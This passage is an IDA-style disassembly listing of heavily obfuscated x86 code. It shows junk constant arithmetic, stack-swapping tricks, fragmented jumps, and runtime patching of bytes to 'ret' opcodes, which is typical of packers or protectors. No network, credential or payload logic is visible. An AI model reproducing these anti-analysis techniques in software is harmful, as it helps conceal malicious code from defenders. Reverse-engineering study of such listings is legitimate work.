sub_449C42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_41D178, eax
		lea	eax, nullsub_186
		mov	byte ptr [eax],	0C3h
		jmp	loc_439084
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_444210
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_449C6B:				; CODE XREF: sub_446181:loc_444C21j
		cdq
		shl	ebp, 7
		sbb	ebp, edx
		jmp	loc_456D78
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
		jnb	loc_44D751
		jmp	sub_448830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458964

loc_449C81:				; CODE XREF: sub_458964-190EDj
		add	ecx, 0F79E8D89h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_445A59
; END OF FUNCTION CHUNK	FOR sub_458964
; ---------------------------------------------------------------------------
		mov	eax, 0A11F455Ah
		call	sub_43C4B5
		call	sub_45853A
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_449C9E:				; CODE XREF: sub_4437F7+8060j
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_4437F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_449CA3:				; CODE XREF: sub_4492F0-50CEj
					; sub_449EB7+12j
		jmp	loc_449870
; END OF FUNCTION CHUNK	FOR sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_449CA8:				; CODE XREF: sub_4492F0-1F5j
		jge	loc_4561DB
		jbe	loc_458E30
		shr	esi, 1Eh

loc_449CB7:				; CODE XREF: sub_4492F0:loc_4490EDj
		rol	eax, 13h
		jmp	loc_452D7E
; END OF FUNCTION CHUNK	FOR sub_4492F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB6

loc_449CC0:				; CODE XREF: sub_44CDB6+4F53j
		jmp	loc_451F0C
; END OF FUNCTION CHUNK	FOR sub_44CDB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FFE1

loc_449CC5:				; CODE XREF: sub_44FFE1+17j
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_44FFE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_449CCA:				; CODE XREF: sub_45288A-E09Aj
		jmp	loc_449010
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444DF7

loc_449CCF:				; CODE XREF: sub_444DF7+4j
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_44AC35
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_444DF7

; =============== S U B	R O U T	I N E =======================================



sub_449CE2	proc near		; DATA XREF: sub_43CB4C:loc_45613Do
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_449D02
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_44FEE6
sub_449CE2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_449D02:				; CODE XREF: sub_449CE2+Aj
					; sub_43CB4C+195D6j ...
		js	loc_442894
		mov	eax, [ebp+8]
		jmp	loc_43FAB2
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ADF

loc_449D10:				; CODE XREF: sub_447ADF:loc_459ADAj
		pop	esi
		add	esi, 0D16A8F10h
		cmp	esi, 0E6AD72BBh
		jmp	loc_44055E
; END OF FUNCTION CHUNK	FOR sub_447ADF
; ---------------------------------------------------------------------------

loc_449D22:				; CODE XREF: dviuq5id:0045140Ej
		js	loc_43CA01
		jl	loc_445A5A

; =============== S U B	R O U T	I N E =======================================



sub_449D2E	proc near		; CODE XREF: sub_458F2A-4964p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E576 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043EE01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A2F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044B33B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451C6E SIZE 00000013 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	ebx
		mov	ebx, edx
		jmp	loc_44B33B
sub_449D2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_449D3A:				; CODE XREF: sub_43FDFB:loc_4575B7j
		jnz	loc_4481E3
		jmp	loc_43C7CC
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_449D45:				; CODE XREF: dviuq5id:00441054j
		jp	loc_4599D4
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_449D4C:				; CODE XREF: sub_44ABE0:loc_43BC05j
		add	eax, 84F74F41h
		xchg	eax, [esp+0]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_449D5A:				; CODE XREF: sub_443ECE+1674Fj
		sbb	edi, 8444F01Bh

loc_449D60:				; CODE XREF: sub_443ECE:loc_44CEA4j
		mov	eax, 0A2CD59D9h
		push	edx
		push	2835D44Eh
		jmp	loc_441EA1
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------

loc_449D70:				; CODE XREF: dviuq5id:00446A0Dj
		jno	loc_442FFC
		xor	eax, 6F73FB76h
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_449D7C:				; CODE XREF: sub_43FA59+E2B1j
		add	eax, 90130E94h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_45234C
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_449D8B:				; CODE XREF: dviuq5id:0044E2C9j
		sub	esi, ebp
		test	esi, 0C28DEE4Fh
		jmp	loc_453AB8
; ---------------------------------------------------------------------------

loc_449D98:				; CODE XREF: dviuq5id:00442721j
		push	1Ch
		push	offset loc_43DAC1
		jmp	locret_442DE9
; ---------------------------------------------------------------------------

loc_449DA4:				; DATA XREF: sub_450E2B-5EB8o
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		push	0D2DAA7CFh
		pop	edx
		jmp	loc_4497D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441645

loc_449DBF:				; CODE XREF: sub_441645:loc_455653j
		call	sub_443304

loc_449DC4:				; CODE XREF: sub_44B624+E913j
		jmp	loc_455B1D
; END OF FUNCTION CHUNK	FOR sub_441645
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F3F

loc_449DC9:				; CODE XREF: sub_450F3F-2E96j
		jmp	nullsub_344
; END OF FUNCTION CHUNK	FOR sub_450F3F

; =============== S U B	R O U T	I N E =======================================



sub_449DCE	proc near		; CODE XREF: dviuq5id:loc_445D7Fj
					; sub_44FE62:loc_44ECE9p
		xchg	edi, [esp+0]
		pop	edi
		pop	ecx
		xor	eax, eax
		retn
sub_449DCE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449DD6	proc near		; DATA XREF: sub_44FE62:loc_44ECDDo

; FUNCTION CHUNK AT 00459AA4 SIZE 0000000B BYTES

		xor	eax, eax
		jmp	loc_459AA4
sub_449DD6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_449DDD:				; CODE XREF: sub_43CB4C+12C78j
		jz	loc_441C1F
		jmp	loc_43D67B
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_449DE8:				; CODE XREF: dviuq5id:00451D70j
		sub	esi, 0EC213FC7h
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_449DEE:				; CODE XREF: sub_450045:loc_43EBFEj
					; sub_448FC7:loc_44E8CCj
		xor	eax, 249C0384h
		call	sub_43C4B5
		mov	ds:off_41D1F0, eax
		lea	eax, loc_4571C7
		mov	byte ptr [eax],	0C3h
		jmp	loc_4571C7
; ---------------------------------------------------------------------------

loc_449E0D:				; CODE XREF: sub_448FC7+E201j
		mov	eax, [esp-4+arg_0]
		jmp	loc_458FB7
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

loc_449E15:				; CODE XREF: dviuq5id:loc_44D29Ej
		pop	ebx
		and	ebx, 45F4D9Ah
		cmp	ebx, 1AE02249h
		jmp	loc_4421C8
; ---------------------------------------------------------------------------

loc_449E27:				; CODE XREF: dviuq5id:00440625j
		xchg	eax, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_449E2F:				; CODE XREF: sub_450B01:loc_43B33Fj
		mov	eax, ds:dword_446E14[eax*4]

loc_449E36:				; CODE XREF: dviuq5id:00453271j
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_4579B7

loc_449E43:				; CODE XREF: sub_45799F+12j
					; dviuq5id:loc_4587BDj
		jb	loc_442AAD
		jmp	loc_44F555
; END OF FUNCTION CHUNK	FOR sub_450B01

; =============== S U B	R O U T	I N E =======================================



sub_449E4E	proc near		; CODE XREF: dviuq5id:0043E89Cj
					; dviuq5id:loc_452CA8p
		xchg	eax, [esp+0]
		pop	eax
		push	edx
		call	sub_445A59
		jmp	loc_45080D
sub_449E4E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_449E5D:				; CODE XREF: sub_44EAC4:loc_43F070j
		call	sub_442BBA
		call	sub_44226E

loc_449E67:				; CODE XREF: dviuq5id:00459EA3j
		jmp	loc_456447
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1BA

loc_449E6C:				; CODE XREF: sub_43F1BA+67D8j
		jmp	nullsub_336
; END OF FUNCTION CHUNK	FOR sub_43F1BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_449E71:				; CODE XREF: sub_459385-460Fj
		push	edi
		push	4C93B22Ah
		pop	edi
		or	edi, 784851AAh
		rol	edi, 9
		jb	loc_4529CF

loc_449E87:				; CODE XREF: dviuq5id:0043D4CEj
		jmp	loc_43A92F
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		jno	loc_45332C
		jmp	loc_4529CD
; ---------------------------------------------------------------------------
		mov	eax, 0CB10B158h
		push	offset sub_43ADFB
		jmp	locret_43C101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF9D

loc_449EA6:				; CODE XREF: sub_43AF9D:loc_44FA2Fj
		jz	loc_43D688
		jmp	loc_43CE45
; END OF FUNCTION CHUNK	FOR sub_43AF9D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_298. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_449EB2:				; CODE XREF: sub_45844D-5A4Bj
		jmp	loc_43F46D
; END OF FUNCTION CHUNK	FOR sub_45844D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449EB7	proc near		; CODE XREF: dviuq5id:0043970Ep
					; dviuq5id:0043A14Ap ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044273E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449870 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449CA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C913 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044E3AE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00451E8F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00452303 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004540FA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004599CE SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		jz	sub_452313
		add	esp, 0FFFFFED8h
		mov	[ebp+var_8], edx
		jmp	loc_449CA3
sub_449EB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AF7D

loc_449ECE:				; CODE XREF: sub_44AF7D:loc_4506C8j
		call	sub_441C54
; END OF FUNCTION CHUNK	FOR sub_44AF7D
; START	OF FUNCTION CHUNK FOR sub_44F0CA

loc_449ED3:				; CODE XREF: sub_44F0CA:loc_450372j
		mov	ds:dword_44DE64, eax
		mov	ds:byte_4477B0,	1
		lea	eax, [ebp-14h]
		jmp	loc_4455C2
; END OF FUNCTION CHUNK	FOR sub_44F0CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_449EE7:				; CODE XREF: sub_443F7F-8A1Bj
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_44897C, 0
		jnz	loc_459B4B
		jmp	loc_450006
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
		jmp	ds:off_41D018
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_449F04:				; CODE XREF: sub_448FC7+322Ej
		jmp	loc_4571C7
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_449F09:				; CODE XREF: sub_442C59+7j
					; sub_4450EF+7j ...
		js	loc_442C65
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		call	sub_442E4F

loc_449F1A:				; CODE XREF: sub_44623D+88FFj
		jmp	sub_43B3A0
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_449F1F:				; CODE XREF: sub_440898:loc_447DAAj
					; sub_440898:loc_44D4FCj
		push	esi
		push	0BB0C26F5h
		pop	esi
		and	esi, 0AB4A6A82h
		add	esi, 553C1105h
		jmp	loc_454CED
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_449F37:				; CODE XREF: sub_4422EC+8E84j
		jge	loc_45A426
		mov	[ebx], ecx
		or	ebp, ebx
		not	edi
		jmp	loc_45A425
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E0C

loc_449F48:				; CODE XREF: sub_439E0C+C3E8j
					; dviuq5id:loc_45607Aj
		test	ecx, ebx
		jmp	loc_44466A
; END OF FUNCTION CHUNK	FOR sub_439E0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_449F4F:				; CODE XREF: sub_443C86-4489j
		add	eax, edi
		pop	edi
		rol	eax, 0Dh
		xor	eax, 0C50523F3h

loc_449F5B:				; CODE XREF: sub_43CD8D:loc_44B54Dj
		rol	eax, 13h
		xor	eax, 4B53D6E1h
		rol	eax, 0Ch
		jmp	loc_44E719
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
		ror	edx, 13h
		jmp	loc_44D813
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_449F74:				; CODE XREF: sub_441DDA:loc_44E593j
		xchg	edi, [esp+0]
		mov	ebx, edi
		pop	edi
		rol	ebx, 19h
		or	ebx, 0E27A6701h
		rol	ebx, 19h
		sub	ebx, 36F9C0B2h
		jmp	loc_444764
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5DC

loc_449F91:				; CODE XREF: sub_43F5DC:loc_43F37Aj
		add	edx, 48FB8F58h
		or	edx, 0F0C8B7A8h
		add	edx, 35DFDABDh
		push	offset sub_450E0E
		jmp	loc_4397CC
; END OF FUNCTION CHUNK	FOR sub_43F5DC
; ---------------------------------------------------------------------------
		mov	edx, 42D6C901h
		jmp	sub_443977
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449FB8:				; CODE XREF: dviuq5id:loc_44348Bj
					; dviuq5id:0044C2F1j
		jmp	sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_449FBD:				; CODE XREF: sub_43B24C:loc_44A5E0j
		test	edx, 0D31967DBh
		jmp	loc_454907
; END OF FUNCTION CHUNK	FOR sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_449FC8:				; CODE XREF: sub_4525D0-14AF9j
					; sub_4525D0-135D3j ...
		push	offset loc_45A629
		jmp	nullsub_173
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_449FD2:				; CODE XREF: sub_44297E+6CA2j
		push	eax
		mov	edx, eax
		push	ebx
		push	offset loc_43A965
		jmp	loc_4510F8
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_449FE0:				; CODE XREF: sub_448FC7+18EDj
		adc	ecx, 0CC36FFABh
		jmp	loc_44E937
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_449FEB:				; CODE XREF: sub_4509F7:loc_44096Dj
		jz	loc_449090
		jmp	loc_43B116
; END OF FUNCTION CHUNK	FOR sub_4509F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_484. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449FF7:				; CODE XREF: dviuq5id:0044B4F0j
		jmp	loc_44B3F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_449FFC:				; CODE XREF: sub_44B301:loc_445765j
		xchg	edi, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_44B301
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_449FFF:				; CODE XREF: sub_44A94D:loc_450527j
		mov	esi, edi
		not	edi
		jmp	loc_441364
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------

loc_44A008:				; CODE XREF: dviuq5id:00457413j
		jnz	loc_44B834
		jmp	loc_44B3A2
; ---------------------------------------------------------------------------

loc_44A013:				; CODE XREF: dviuq5id:0043EAEAj
		add	ebx, edi

; =============== S U B	R O U T	I N E =======================================



sub_44A015	proc near		; CODE XREF: sub_446181:loc_456D04p

; FUNCTION CHUNK AT 0043AFFD SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044156E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004436B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044545A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044AB03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004514C0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00453900 SIZE 00000016 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	974374D5h
		jmp	loc_43AFFD
sub_44A015	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_44A023:				; CODE XREF: sub_4574E7+FABj
		xchg	ebp, [ecx]
		shr	ebp, 19h
		and	ebp, 0A9A15F17h
		cmp	eax, ebp
		jmp	loc_458DD9
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_44A035:				; CODE XREF: sub_43DCB4-39E0j
		xor	eax, esi
		jmp	loc_44EF9E
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_44A03C:				; CODE XREF: sub_44395Cj
		xchg	esi, [esp+4+var_4]
		mov	edx, esi
		pop	esi
		mov	eax, [esp+0]
		push	edx
		jmp	loc_43F63E
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------
		test	ecx, 6B16991Ah
		jmp	loc_453D73
; ---------------------------------------------------------------------------

loc_44A056:				; CODE XREF: dviuq5id:00450FD7j
		add	eax, ebp
		add	eax, 7087EE5Eh
		push	edi
		mov	edi, eax
		call	sub_44D1BB
; START	OF FUNCTION CHUNK FOR sub_440576

loc_44A066:				; CODE XREF: sub_440576+5Aj
		jmp	loc_44A462
; END OF FUNCTION CHUNK	FOR sub_440576
; ---------------------------------------------------------------------------

loc_44A06B:				; CODE XREF: dviuq5id:0043B8F3j
		jmp	loc_44113C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459DA3

loc_44A070:				; CODE XREF: sub_459DA3:loc_458253j
		sub	eax, 0E36B404Bh
		xor	eax, 2AE5DF0Fh
		push	edx
		adc	edx, 0BA7AA82h
		jmp	loc_43CDDE
; END OF FUNCTION CHUNK	FOR sub_459DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_44A088:				; CODE XREF: sub_447ECD:loc_453B85j
		add	eax, 3033EFAEh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_45A4C0
		jmp	loc_457D30
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44A09D:				; CODE XREF: sub_4525D0-16F22j
		jnz	loc_449961

loc_44A0A3:				; CODE XREF: sub_457942+1Bj
		or	eax, 0C0D32FB4h
		cmp	eax, 4E354051h
		jmp	loc_456A26
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		push	offset loc_44162C
		jmp	loc_43BFE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AAE9

loc_44A0BE:				; CODE XREF: sub_44AAE9:loc_44BA82j
		xchg	eax, ebx
		add	ebx, ecx
		or	eax, 0DE9212F6h
		test	ebx, 4287B1E3h
		jmp	loc_43E59A
; END OF FUNCTION CHUNK	FOR sub_44AAE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_44A0D3:				; CODE XREF: sub_453BE2:loc_43EFA0j
		and	ecx, 0C31F0BF3h
		xchg	eax, [ebx]
		jmp	loc_45916D
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44A0E0:				; CODE XREF: sub_44FCBC:loc_44D16Cj
		mov	eax, [esp+0]
		push	edi
		push	10557209h
		pop	edi
		or	edi, 0D7A3C806h
		jmp	loc_44BC3C
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_44A0F5:				; CODE XREF: sub_44B2EA-11067j
		jbe	loc_455B32
		cmp	esi, edi
		jmp	loc_4580D2
; END OF FUNCTION CHUNK	FOR sub_44B2EA

; =============== S U B	R O U T	I N E =======================================



sub_44A102	proc near		; CODE XREF: sub_44BD27-198Bp
					; dviuq5id:0045759Cj
		xchg	edi, [esp+0]
		pop	edi
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_44BD0B
		mov	byte ptr [eax],	0C3h
		jmp	sub_44BD0B
sub_44A102	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_44A117:				; CODE XREF: sub_44CBA2+12j
		pop	eax
		rol	eax, 9
		or	eax, 25E49F4Eh
		sub	eax, 0C0B8B486h
		jmp	loc_442F27
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
		mov	esi, edi
		jmp	sub_448AC0

; =============== S U B	R O U T	I N E =======================================



sub_44A133	proc near		; CODE XREF: sub_43A1AA+9p
					; dviuq5id:0044CE47j

; FUNCTION CHUNK AT 0043F317 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00440DB1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00442652 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004443CC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444B25 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00458765 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		push	50ECBDA6h
		pop	ebx
		rol	ebx, 19h
		test	ebx, 100000h
		jmp	loc_4443CC
sub_44A133	endp

; ---------------------------------------------------------------------------

loc_44A14C:				; DATA XREF: sub_44AD42-C29Eo
		lea	eax, nullsub_176
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_176

; =============== S U B	R O U T	I N E =======================================



sub_44A15A	proc near		; CODE XREF: sub_4031FD+E0p
					; sub_404A3E+FCp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043BBD3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D2DA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043DA7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440A31 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442667 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004428B1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044438D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448000 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00448055 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A31F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044C347 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044EB65 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00451A85 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00455103 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00456E81 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004575FA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004591D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459503 SIZE 0000001E BYTES

		jns	loc_451A85
		mov	eax, ds:dword_4544FC

loc_44A166:				; CODE XREF: dviuq5id:loc_439451j
		or	eax, eax
		jnz	loc_44A31F
		jmp	loc_4591D8
sub_44A15A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_370. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A174:				; CODE XREF: dviuq5id:0044C3BFj
		jmp	loc_4501A5
; ---------------------------------------------------------------------------
		cmp	ecx, 33E5F9E1h
		jmp	loc_450338
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_44A184:				; CODE XREF: sub_44846C+18j
		pop	esi
		and	esi, 166FC89Ch
		or	esi, ds:4000F5h
		cmp	esi, 8EAE8972h
		jmp	loc_454945
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440294

loc_44A19C:				; CODE XREF: sub_440294:loc_447882j
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_44E2AF
; END OF FUNCTION CHUNK	FOR sub_440294
; ---------------------------------------------------------------------------

loc_44A1A8:				; DATA XREF: sub_442E18+3o
		call	sub_456F43
		push	1164BA45h
		pop	edx
		and	edx, 6CE7DCAh
		jmp	loc_459750
; ---------------------------------------------------------------------------

loc_44A1BE:				; DATA XREF: sub_4411C6+18C36o
		add	ecx, 84FC663Eh
		xchg	ecx, [esp]
		jmp	sub_43A101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A90D

loc_44A1CC:				; CODE XREF: sub_44A90D-FBF3j
		adc	ebx, 3A31D153h
		jmp	loc_44D762
; END OF FUNCTION CHUNK	FOR sub_44A90D
; ---------------------------------------------------------------------------

loc_44A1D7:				; CODE XREF: dviuq5id:00449128j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44D762
		jmp	loc_441084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44A1EB:				; CODE XREF: dviuq5id:loc_43EE71j
					; sub_43FDFB:loc_444B5Ej
		jns	sub_440AB3
		cdq
		cmp	ebx, 77A1B982h
		jmp	loc_44A8EB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459848

loc_44A1FE:				; CODE XREF: sub_459848+18j
		jmp	loc_44577F
; END OF FUNCTION CHUNK	FOR sub_459848

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A203	proc near		; CODE XREF: sub_44A2CC:loc_4438FCj
					; sub_449704:loc_44C779j ...

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch

; FUNCTION CHUNK AT 00446C9A SIZE 0000000E BYTES
